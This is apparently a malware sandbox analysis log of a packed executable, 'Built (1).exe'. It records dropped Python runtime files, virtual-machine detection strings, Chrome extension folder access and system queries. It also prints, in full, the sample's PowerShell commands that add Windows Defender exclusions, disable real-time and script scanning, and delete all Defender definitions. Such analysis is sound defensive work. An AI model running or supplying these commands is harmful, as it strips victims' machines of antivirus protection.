              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 719
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3426
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3122
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 738
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2736
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1798
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3852
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 643
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\python312.dllJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\_hashlib.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\_socket.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\_queue.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\_ctypes.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\_bz2.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\_lzma.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\select.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\_decimal.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\unicodedata.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\_sqlite3.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75282\_ssl.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_0-17335
              Source: C:\Users\user\Desktop\Built (1).exeAPI coverage: 5.1 %
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880Thread sleep count: 3071 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624Thread sleep time: -2767011611056431s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880Thread sleep count: 64 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2228Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888Thread sleep count: 2699 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7792Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7308Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892Thread sleep count: 4590 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896Thread sleep count: 406 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7616Thread sleep time: -2767011611056431s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7320Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7232Thread sleep count: 719 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8140Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8232Thread sleep count: 3426 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8244Thread sleep count: 324 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2488Thread sleep time: -1844674407370954s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 792Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1852Thread sleep count: 3122 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7176Thread sleep count: 738 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7284Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3808Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8872Thread sleep count: 2736 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9000Thread sleep count: 1798 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8896Thread sleep time: -1844674407370954s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8912Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8172Thread sleep count: 3852 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8172Thread sleep count: 643 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8040Thread sleep time: -2767011611056431s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8196Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
              Source: C:\Windows\System32\wbem\WMIC.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
              Source: C:\Windows\System32\wbem\WMIC.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
              Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
              Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD28670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF6FFD28670
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD18D00 FindFirstFileExW,FindClose,0_2_00007FF6FFD18D00
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD28670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF6FFD28670
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD326C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF6FFD326C4
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3946EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,74_2_00007FF70F3946EC
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3D88E0 FindFirstFileExA,74_2_00007FF70F3D88E0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F38E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,74_2_00007FF70F38E21C
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFF1A13E0 GetSystemInfo,1_2_00007FFDFF1A13E0
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\Jump to behavior
              Source: getmac.exe, 00000031.00000002.1729414681.000002180C514000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1728382482.000002180C514000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: Tfvmtoolsd
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vboxservice
              Source: rar.exe, 0000004A.00000003.1806096588.000001D9694DB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\11
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: fvmwareservice
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: d00qemu-ga
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmwareuser
              Source: getmac.exe, 00000031.00000002.1729414681.000002180C523000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1728382482.000002180C514000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage"
              Source: getmac.exe, 00000031.00000003.1728723792.000002180C540000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1728382482.000002180C514000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.1729414681.000002180C542000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
              Source: rar.exe, 0000004A.00000003.1808943156.000001D969489000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}l
              Source: getmac.exe, 00000031.00000002.1729414681.000002180C514000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1728382482.000002180C514000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmsrvc
              Source: getmac.exe, 00000031.00000002.1729414681.000002180C514000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1728382482.000002180C514000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAWc
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: fvboxservice
              Source: Built (1).exe, 00000001.00000003.1656142939.000001887B81C000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1900050491.000001887B81C000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1699398878.000001887B81C000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1896020868.000001887B81C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW+
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmwaretray
              Source: Built (1).exe, 00000001.00000002.1904407375.000001887CA6B000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1895528926.000001887CD09000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1894648787.000001887B8FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: f4vmusrvc
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: fvboxtray
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: fytesvmsrvc
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: foadsvmware
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vboxtray
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: qemu-ga
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmware
              Source: getmac.exe, 00000031.00000003.1728723792.000002180C540000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1728382482.000002180C514000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.1729414681.000002180C542000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmusrvc
              Source: getmac.exe, 00000031.00000002.1729414681.000002180C514000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1728382482.000002180C514000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ssubkeyname"system\currentcontrolset\services\hyper-v\linkage"HOME
              Source: getmac.exe, 00000031.00000003.1728723792.000002180C540000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1728382482.000002180C514000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.1729414681.000002180C542000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmtoolsd
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: fvmwareuser
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmwareservice
              Source: Built (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: ,fvmwaretray
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD1C8BC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF6FFD1C8BC
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFB1AF160 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,1_2_00007FFDFB1AF160
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD342D0 GetProcessHeap,0_2_00007FF6FFD342D0
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\tasklist.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\tasklist.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\tasklist.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\tasklist.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD1C8BC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF6FFD1C8BC
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD1C030 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00007FF6FFD1C030
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD2B3CC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF6FFD2B3CC
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD1CA9C SetUnhandledExceptionFilter,0_2_00007FF6FFD1CA9C
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB93054 IsProcessorFeaturePresent,00007FFE1A461730,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFE1A461730,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FFDFAB93054
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00762126 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FFE00762126
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00761CB7 SetUnhandledExceptionFilter,1_2_00007FFE00761CB7
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE007DCE3C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00007FFE007DCE3C
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB330D4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FFE0EB330D4
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB3D070 SetUnhandledExceptionFilter,1_2_00007FFE0EB3D070
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE11EA464C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FFE11EA464C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3D4C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,74_2_00007FF70F3D4C10
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3CA66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,74_2_00007FF70F3CA66C
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3CB6D8 SetUnhandledExceptionFilter,74_2_00007FF70F3CB6D8
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3CB52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,74_2_00007FF70F3CB52C

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Adds a directory exclusion to Windows Defender
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'"Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built (1).exe'Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'Jump to behavior
              Modifies Windows Defender protection settings
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
